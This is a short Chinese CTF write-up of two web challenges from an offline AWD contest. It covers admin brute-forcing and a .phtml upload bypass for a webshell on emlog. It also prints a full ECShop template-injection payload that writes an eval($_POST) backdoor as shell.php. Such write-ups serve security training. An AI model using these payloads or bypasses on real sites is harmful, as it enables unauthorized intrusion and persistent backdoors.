紅帽杯線下AWD plus writeup

• 2020 年 3 月 8 日
• 筆記

訪問是一個由emlog的部落格站點。

直接訪問後台，得知存在admin用戶對admin進行暴力破解

上傳附件處限制了文件類型，發現可添加允許添加後綴名。嘗試了php，php5等類似添加後，都會被更改為x類型，最後嘗試添加phtml，成功添加。

然後直接去寫文章處添加附件，並上傳後綴為pthml的一句話

成功上傳後，右鍵附件複製鏈接地址，上菜刀，成功getshell。並在根目錄下找到flag

粵灣租賃

訪問web題目，系統為ecshopcms，發現兩個登錄處，一個是前台登陸，一個是後台登陸，前台登陸並未發現什麼可以拿下的點。

已知存在admin用戶，進行爆破

ecshop有已知的getshell方法，

直接在模板管理–語言項編輯直接修改來寫入shell文件；搜索關鍵字：用戶資訊；用戶資訊四個字一定不要刪除，在之後添加：(base64加密去掉了最後的=號)

1.${${fputs(fopen(base64_decode(c2hlbGwucGhw),w), base64_decode(PD9waHAgZXZhbCgkX1BPU1RbJ2gnXSk7Pz3))}}

而後保存，保存後訪問user.php即可在根目錄下生成shell.php的shell。然後上菜刀，成功在根目錄獲得flag。